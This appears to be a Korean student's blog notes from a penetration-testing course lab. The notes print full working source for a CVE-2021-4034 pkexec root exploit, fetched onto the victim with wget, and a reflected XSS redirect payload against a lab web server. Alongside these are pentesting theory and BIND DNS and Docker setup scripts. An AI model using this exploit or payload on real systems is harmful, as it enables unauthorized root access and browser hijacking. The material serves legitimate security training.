카테고리 없음

모의해킹 1일차 - DNS 설정

ajh 2026. 5. 27. 11:42

문제풀이 

CVE-2021-4034 권한 상승 취약점 

 

kali 리눅스로 mywebpage 서버에 침투하여 루트 권한 상승 공격을 시도한다 

 

방법1. bash-4.2$ 에서 cat으로 밀어넣어 실행시킨다

방법2. kali에서 ./exploit을 다 컴파일 시켜두고 wget으로 당겨온다

여기서는 방법2로 공격한다

 

root@kali:~# cd /var/www/html/
root@kali:/var/www/html# ls
apt  cookie_save.txt  index.html  index.nginx-debian.html  xssattack.php
root@kali:/var/www/html# cat << EOF > evil-so.c
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>

> void gconv() {}

> void gconv_init() {
>     setuid(0);
>     setgid(0);
>     setgroups(0);

>     execve("/bin/sh", NULL, NULL);
> }
> EOF
root@kali:/var/www/html# 
root@kali:/var/www/html# cat << EOF > exploit.c
> #include <stdio.h>
> #include <stdlib.h>

> #define BIN "/usr/bin/pkexec"
> #define DIR "evildir"
> #define EVILSO "evil"

> int main()
> {
>     char *envp[] = {
>         DIR,
>         "PATH=GCONV_PATH=.",
>         "SHELL=ryaagard",
>         "CHARSET=ryaagard",
>         NULL
>     };
>     char *argv[] = { NULL };

>     system("mkdir GCONV_PATH=.");
>     system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
>     system("mkdir " DIR);
>     system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
>     system("cp " EVILSO ".so " DIR);

>     execve(BIN, argv, envp);

>     return 0;
> }
> EOF
root@kali:/var/www/html# 
root@kali:/var/www/html# cat << EOF > Makefile
> all:
> gcc -shared -o evil.so -fPIC evil-so.c
> gcc exploit.c -o exploit
> clean:
> rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
> EOF
root@kali:/var/www/html# make
Makefile:2: *** missing separator.  Stop.
root@kali:/var/www/html# ls
apt  cookie_save.txt  evil-so.c  exploit.c  index.html  index.nginx-debian.html  Makefile  xssattack.php
root@kali:/var/www/html# rm Makefile 
root@kali:/var/www/html# cat << EOF > Makefile
> all:
>       gcc -shared -o evil.so -fPIC evil-so.c
>       gcc exploit.c -o exploit
> clean:
>       rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
> EOF
root@kali:/var/www/html# 
root@kali:/var/www/html# make
gcc -shared -o evil.so -fPIC evil-so.c
evil-so.c: In function ‘gconv_init’:
evil-so.c:10:5: warning: implicit declaration of function ‘setgroups’; did you mean ‘getgroups’? [-Wimplicit-function-declaration]
   10 |     setgroups(0);
      |     ^~~~~~~~~
      |     getgroups
gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:25:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
   25 |     execve(BIN, argv, envp);
      |     ^~~~~~
root@kali:/var/www/html# ls
apt  cookie_save.txt  evil.so  evil-so.c  exploit  exploit.c  index.html  index.nginx-debian.html  Makefile  xssattack.php
root@kali:/var/www/html# 

 

bash-4.2$ wget 192.168.100.3/evil-so.c
bash-4.2$ wget 192.168.100.3/exploit.c
bash-4.2$ wget 192.168.100.3/Makefile


리플렉티드 XSS 공격

1. 사용자 브라우저가 192.168.100.24 서버에 요청을 보낸다.

 Burp에서 인터셉트로 보낸 스크립트가 돌아오는지 확인한다 

2. <script>location.href="https://naver.com";</script>

3. 서버는 id 파라미터에 들어있는 악성 스크립트를 그대로 포함하여 응답 페이지를 만든다.

 http://192.168.100.24/?id=bbs1><script>location.href="https://naver.com";</script>&m=read&no=20

사용자의 브라우저는 응답을 받고 HTML을 해석하다가 삽입된 스크립트를 실행한다.

결과적으로 사용자는 본인 의지와 상관없이 네이버(또는 공격 사이트)로 리다이렉트된다.

 

취약한 URL: http://192.168.100.24/?id=bbs1&m=read&no=20

취약한 파라미터: id

공격 코드: ><script>location.href="https://naver.com/"</script>


vim swap 파일 

.[name].(html/php).swap

http://192.168.100.24/.index.html.swap


모의해킹 

  . 가상의 해킹으로 우리 회사의 IT관련 PC/서버 자산을 가상으로 해킹해서 문제점을 파악해서 좀 더 안전하게 보완하는 침투 환경을 말한다.

  . 모의해킹은 반드시 합법적인 절차에 의해서 이루어져야 한다.
    - 계약 관계에 의해서 정확하게 이루어지는 모의해킹이 되어야 한다.

 

모의해커가 가지는 능력
  . 정보 수집 능력
    - OSINT(공개된 정보)를 통해 대상 시스템에 대한 데이터 수집
    - 네트워크, 서버, 도메인 등의 정보를 탐색하기 위해서 관련 정보를 탐색
  . 취약점 분석 능력
    - 네트워크, 시스템, 소프트웨어, 애플리케이션의 보안 취약점을 분석
    - 자동분석을 할 수 있는 취약점 스캐너나 수동 분석 도구를 사용하여 잠재적인 위험 요소를 식별
  . 네트워크 해킹 기술
    - 네트워크 트래픽 분석 및 패킷 스니핑 도구 사용
    - 네트워크 보안 설정 및 방화벽 우회 기법
    - 침입차단 시스템, 침입탐지 시스템, 침입방지 시스템등의 원리
    - 리눅스에서 iptables, firewalld 방화벽의 원리
    - 무선 네트워크(Wi-Fi) 침투 테스트
  . 웹 애플리케이션 해킹 기술
    - OWASP TOP 10의 기술 및 웹에서 사용 가능한 해킹기법
    - 웹 서버 및 애플리케이션 구조의 이해
    - XSS, CSRF, SQLi, 파일 업로드 취약점, 파일 다운로드 취약점 ... 
    - 세션, 쿠키, 로그인 처리의 동작 여부
    - 웹에서 동작하는 언어(html, javascript, php, jsp, ....)의 이해
  . 시스템 해킹 및 권한 상승
    - 운영 체제(Windows, Linux 등) 취약점 탐색
    - 취약점에 대한 연구 및 익스플로잇을 작성 능력
  . 도구 및 스크립트 활용 능력
    - 칼리 리눅스(Kali Linux), 메타스플로잇(Metasploit), 버프스위트(Burp Suite), ... 등 해킹 도구 사용
    - 공격을 자동화할 수 있는 스크립트 작성(Python, Bash, perl ...)
  . 리포트 작성 및 결과 전달 능력
    - 취약점 테스트 결과를 명확하고 이해하기 쉬운 보고서로 작성
    - 고객 또는 내부 팀에게 취약점과 개선 사항을 명확하게 전달  


사이트가 큰 경우에 웹모의해킹을 할 때 
  . 운영 서버
    - 사용자들이 접속해서 사용하는 실제 운영되는 서버를 말한다.
    - 개발자들이 개발한 웹애플리케이션들을 검증하고 테스트한 후 문제가 없으면 운영서버에 배포한다.
  . 개발 서버
    - 개발자들이 기업의 내부망에 운영되고 있는 서버에서 실제 돌아가는 개발 서버를 말한다.
    - 개발자들이 웹 애플리케이션을 개발할 때 개발 서버에서 개발을 한다.
  . 모의해커
    - 운영서버와 개발서버가 비슷하기 때문에 개발서버에서 웹 취약점 진단을 한다.
    - 심층분석으로 들어갈 때는 운영되는 서버를 가지고 웹 취약점 진단을 한다.
    - 진단하는 모의해커마다 다를 수 있지만 일반적으로 웹 페이지의 HTML, JavaScript 소스를 먼저 분석한다.
    - 특정 메뉴들을 보고 클릭해서 어떤 페이지들인지 분석한다.
    - 전체 메뉴를 엑셀로 작성해서 하나씩 체크해서 취약점이 있다, 없다를 체크해야지만 중복되는 점검을 피할 수 있다.
    - 소스보기, 메뉴의 기능, Burp 로 넘어가는 변수들을 잡아본다.

 

정량적 분석이란 모의해킹 결과를 숫자, 점수, 개수, 비율, 등급 등으로 표현하여 보안 수준을 객관적으로 평가하는 방법이다.
"취약점이 많다." or "위험하다" 라고 말하는 것이 아니라 측정 가능한 수치로 분석하는 것이다.

모의해킹에서 정량적 분석의 예
  . 발견된 취약점 수: 20개의 취약점이 발견
  . 위험도별 분류: Critical 4개, High 5개, Medium 6개, Low 5개
  . CVSS 점수: SQL Injection: CVSS 9.8
  . 공격 성공률: 테스트한 50개 중에서 10개 성공
  . 조치 우선순위: High 이상 취약점 먼저 조치
  . 보안 수준 점수화: 전체 보안 수준 100점 중 68점

 

버그 바운티 제도
  . 기업이나 조직이 자사 제품, 서비스, 웹사이트, 소프트웨어 등에 존재하는 보안 취약점(bug)을 발견하고 이를 보고하는 
    보안 연구자(화이트햇 해커)나 일반 사용자에게 금전적 보상이나 기타 혜택을 제공하는 제도이다.
  . 이 제도는 보안을 강화하고 해킹 공격으로부터 시스템을 보호하는 데 중요한 역할을 한다.

버그 바운티 제도의 목적
  . 취약점 사전 발견
    - 공격자가 취약점을 먼저 찾아서 악용하기 전에 보안 취약점을 사전에 발견하고 빠르게 패치한다.
  . 외부 전문가 활용
    - 내부 보안팀만으로는 발견하기 어려운 문제를 외부 보안 전문가의 도움으로 해결한다.
  . 비용 효율성
    - 대규모 해킹 사건으로 인한 피해(회사 이미지 손상, 매출감소)를 예방함으로써 비용을 절감한다.
  . 보안 문화 조성
    - 윤리적 해커와 협력하여 긍정적인 보안 커뮤니티 형성한다.

 

정량적 분석이란 모의해킹 결과를 숫자, 점수, 개수, 비율, 등급 등으로 표현하여 보안 수준을 객관적으로 평가하는 방법이다.
"취약점이 많다." or "위험하다" 라고 말하는 것이 아니라 측정 가능한 수치로 분석하는 것이다.

 

CVE: 어떤 취약점인가?  CVE-2026-44228
CWE: 어떤 유형의 약점인가? CWE-79 (Cross-Site Scripting, XSS)
CVSS: 얼마나 위험한가? CVSS 10.0 Critical
  

풋프린팅(Footprinting)
풋프린팅을 발자국을 따라가서 관련 정보를 수집한다는 의미로 
특정 조직이나 개인, 시스템, 네트워크에 대해 정보를 수집하는 프로세스를 말하는 용어로 사용한다.
최대한 많은 정보를 수집하기 위해서 공격자들이 시스템에 대한 정보를 수집해서 취약점을 파악하거나 공격 전략을 계획하는데 사용될 수 있다.

풋프린팅에 대한 주요기술
  . 공개 정보 수집: 
    - 조직이나 개인이 공개적으로 노출시킨 정보를 수집하는 것을 말한다.
    - 웹사이트, 소셜 미디어 프로필, 온라인 포럼등 다양하게 존재한다.
  . DNS 쿼리: 
    - 도메인 네임 시스템(DNS)을 쿼리해서 도메인 이름과 관련된 정보를 수집한다.
    - 이를 통해 해당 도메인의 IP 주소, 서브도메인, 메일 서버 등을 파악할 수 있다.
    - 도메인을 제공하는 사업자는 이런 정보들을 자신의 회사로 모두 변경하는 서비스등을 비용을 받고 판매하고 있다.
      가비아에서 제공하고 있다.
  . 서버, 네트워크 스캐닝: 
    - 대상 네트워크(서버)를 스캔하여 어떤 IP 주소들이 활성화되어 있는지 확인할 수 있고 열린 서비스(포트)들이 무엇인지 등을 확인할 수 있다.
  . 소셜 엔지니어링: 
    - 사람들의 신뢰를 이용하여 정보를 얻는 기법으로 이메일 스푸핑, 전화상담을 통한 정보 획득 등이 소셜 엔지니어링에 해당된다.
  . WHOIS 검색: 
    - 도메인 등록 정보를 조회하는 검색을 통해 도메인 소유자와 관련된 정보를 파악한다.
    - whois.kisa.or.kr

 



모의해킹 네트워크 환경

   Attacker    Victim1     Victim2     Victim3       Victim4  
    Kali        CentOS7     WinXP      Rocky9        Rocky9
   +-----+     +-----+     +-----+     +-----+       +-----+  
   |     |     |     |     |     |     |     |       |     |  
   |     |     | WEB |     |     |     | DNS1|       | DNS2|  
   |     |     |     |     |     |     |     |       |     |  
   +-----+     +-----+     +-----+     +-----+       +-----+  
      |           |           |           |             |     
------+-----------+-----------+-----------+-------------+-----
     .3          .24          .25         .200          .201    
                    
                    192.168.100.0/24

# vi dnsServerInstallNS1.sh

#!/bin/sh
# 파일명: dnsServerInstallNS1.sh
# 프로그램 설명: bind DNS 설치하기

# 1. 변수 설정
named_conf="/etc/named.conf"
ipaddress="192.168.100.200"

# 2. 패키지 설치
# bind DNS 관련 패키지를 설치한다.
sudo dnf -y install bind bind-chroot bind-utils

# 3. 설정 파일 수정
# 네임서버 전체 설정 파일: /etc/named.conf
# 도메인 설정 파일: /etc/named.rfc1912.zones
sudo sed -i "s/listen-on port 53 { 127.0.0.1; }/listen-on port 53 { $ipaddress; }/
             s/allow-query\s\+{ localhost; }/allow-query { any; }/
             s/recursion yes;/recursion no;/
             s/dnssec-enable yes/dnssec-enable no/
             s/dnssec-validation yes/dnssec-validation no/" $named_conf

# 4. 네임 서버 시작
#네임서버를 시작한다.
sudo systemctl enable --now named

# 5. 방화벽 설정
# 네임서버의 방화벽을 설정한다.
sudo firewall-cmd --permanent --add-service=dns
sudo firewall-cmd --reload

[root@ns1 ~]# chmod 755 dnsServerInstallNS1.sh
[root@ns1 ~]# ./dnsServerInstallNS1.sh

 

도메인 생성 스크립트 

# vi ns1DomainSetting.sh

#!/bin/sh
# 파일명: ns1DomainSetting.sh
# 프로그램 설명: 도메인을 자동으로 등록하는 스크립트
# 실행방법:ns1DomainSetting.sh 도메인명

# 1. 명령행 인수 체크
# $#: 인수의 개수
# $0: 명령어, $1: 첫 번째 인수 $2: 두 번째 인수
if [ $# -eq 0 ]
then
    echo ">>> 도메인 추가 <<<"
    echo "Usage: $0 DOMAIN"
    echo
    exit 1
fi

# 변수 설정
domainConf="/etc/named.rfc1912.zones"
domainName=$1
domainZoneFile="/var/named/${domainName}.zone"
#serialNumber=`date +%Y%m%d01`
serialNumber=$(date +%Y%m%d01)
nameServer="@192.168.100.200"
refresh="6H"
retry="30M"
expire="1W"
minimunm="3H"
defaultIPaddress="192.168.100.23"
ns1IPaddress="192.168.100.200"
ns2IPaddress="192.168.100.201"

# 2. 도메인 검색
# /etc/named.rfc1912.zones 파일에서 도메인을 검색한다.
#  -q, --quiet, --silent     suppress all normal output
#grep -q $domainName $domainConf <= 문자열에 있으면 무조건 참으로 반환
grep -q \"$1\" $domainConf
retValue=$?

# 도메인이 존재하면
if [ $retValue -eq 0 ]; then
    echo "$domainName 도메인이 이미 등록되어 있습니다."
    exit 1
fi

# 도메인이 존재하지 않으면

# 3. 도메인 등록
# /etc/named.rfc1912.zones 파일에 도메인을 등록한다.
cat << EOF >> $domainConf
zone "$domainName" IN { type master; file "${domainName}.zone"; allow-update { none; }; };
EOF

# 4. 포워드 존파일 생성
# 포워드 존파일의 허가권(-m 640)과 소유권(-g named)의 권한을 설정하고 존파일을 생성하고
# 도메인의 정보를 파일에 넣는다.
install -m 640 -g named /dev/null $domainZoneFile
cat << EOF >> $domainZoneFile
\$TTL 300
@            IN  SOA ns1 root ( $serialNumber $refresh $retry $expire $minimunm )
             IN  NS  ns1
             IN  NS  ns2
             IN  MX 10 mail
             IN  A   $defaultIPaddress
ns1          IN  A   $ns1IPaddress
ns2          IN  A   $ns2IPaddress
www          IN  A   $defaultIPaddress
mail         IN  A   $defaultIPaddress
EOF

# 5. 네임서버 재시작
named-checkconf
retValue=$?

# 설정파일에 에러가 발생되었다면 프로세스를 종료한다.
if [ $retValue -eq 1 ]; then
    echo "설정파일에 에러가 발생되어 설정파일을 수정해야 합니다."
    exit 1
fi

systemctl restart named.service

# 6. 도메인 확인
for rr in soa ns a
do
    printf "dig $nameServer $domainName $rr +short: "
    dig $nameServer $domainName $rr +short
done
printf "dig $nameServer www.$domainName a +short: "
dig $nameServer www.$domainName a   +short

echo "$domainName 도메인 세팅이 완료되었습니다."

nmcli 도메인 주소를 변경한다.
nmcli 
  . NetworkManager를 명령어로 제어하는 도구
  . IP 주소, 게이트웨이, DNS, 네트워크 연결 상태 등을 설정하거나 확인할 때 사용한다.

[root@ns1 ~]# cat /etc/resolv.conf

[root@ns1 ~]# nmcli con mo ens160 ipv4.dns "192.168.100.200 192.168.100.201"
[root@ns1 ~]# cat /etc/NetworkManager/system-connections/ens160.nmconnection

 

recursion 을 비활성화 한다

네임서버에 도메인 주소를 가지고 있지 않으면 접속을 차단해야 다른 외부 도메인에 연결되는 경우를 막을 수 있다

 

모의해킹을 할 때는 외부로 나가면 안되므로 여기서는 KT와 같은 공개 DNS가 아니므로
recursion no; 반드시 설정해야 한다.

또한 recursion 이 켜져있는경우 dns증폭 공격을 받을수 있어 필요하지않은 경우 꺼둬야한다

명령어 설명
  . -i 옵션
    - 파일을 직접 수정하는 옵션이므로 원본 파일이 바로 수정된다.
    - 그러므로 잘못된 설정들은 문제가 될 수 있다.
  . 's/recursion yes;/recursion no;/g' 
    - 형식: 's/원본문자열/변경할문자열/옵션'
    - ' .... ' 특수 문자들을 단순 문자로 처리하기 위해서이다.
    - s: substitute의 약자로 문자열 치환을 의미한다.
    - recursion yes; : 이 문자열을 
    - recursion no;  : 이것으로 교체한다.
    - g : 한 줄에 같은 문자열이 여러 개 있으면 모두 변경하라는 의미이다.

 

[root@ns1 ~]# sed -i 's/recursion yes;/recursion no;/g' /etc/named.conf
[root@ns1 ~]# grep recursion /etc/named.conf


네임서버 docker 설치하기  
  
[root@ns1 ~]# vi /usr/share/vim/vim82/filetype.vim
  
233 au BufNewFile,BufRead named*.conf,rndc*.conf,named.rfc1912.zones,rndc*.key  setf named
 
통신이 잘 되는지 확인한다.
[root@docker ~]# ping -c 4 dns.google

필요한 패키지를 설치한다.
[root@docker ~]# dnf -y install vim bash-completion net-tools

 

기존 네임서버를 중지한다.
[root@ns1 ~]# systemctl stop named.service


[root@docker ~]# vi docker_install.sh
#!/bin/sh
# 프로그램 설명: Rocky Linux / CentOS 계열 Docker CE 설치 스크립트
# 작성 목적: Docker 저장소 추가, Docker 패키지 설치, Docker 서비스 활성화

# Docker 공식 저장소 추가
dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

# Docker 패키지 설치
dnf -y install docker-ce docker-ce-cli containerd.io docker-compose-plugin

# Docker 서비스 활성화
systemctl --now enable docker.service

도커를 설치한다.
[root@docker ~]# chmod 755 docker_install.sh
[root@docker ~]# ./docker_install.sh

 

임시 컨테이너를 생성한다.
[root@ns1 ~]# docker run -d --name bind9-temp internetsystemsconsortium/bind9:9.20  

[root@ns1 ~]# mkdir -p /opt/docker-bind/etc

 

기본 설정파일을 복사한다.  
[root@ns1 ~]# docker cp bind9-temp:/etc/bind /opt/docker-bind/etc

 

임시 컨테이너를 삭제한다.
[root@ns1 ~]# docker rm -f bind9-temp

 

internetsystemsconsortium/bind9:9.20 
[root@ns1 ~]# docker run -d \
  --name bind9 \
  --restart=always \
  -p 53:53/udp \
  -p 53:53/tcp \
  -v /opt/docker-bind/etc/bind:/etc/bind \
  -v /opt/docker-bind/cache:/var/cache/bind \
  -v /opt/docker-bind/lib:/var/lib/bind \
  internetsystemsconsortium/bind9:9.20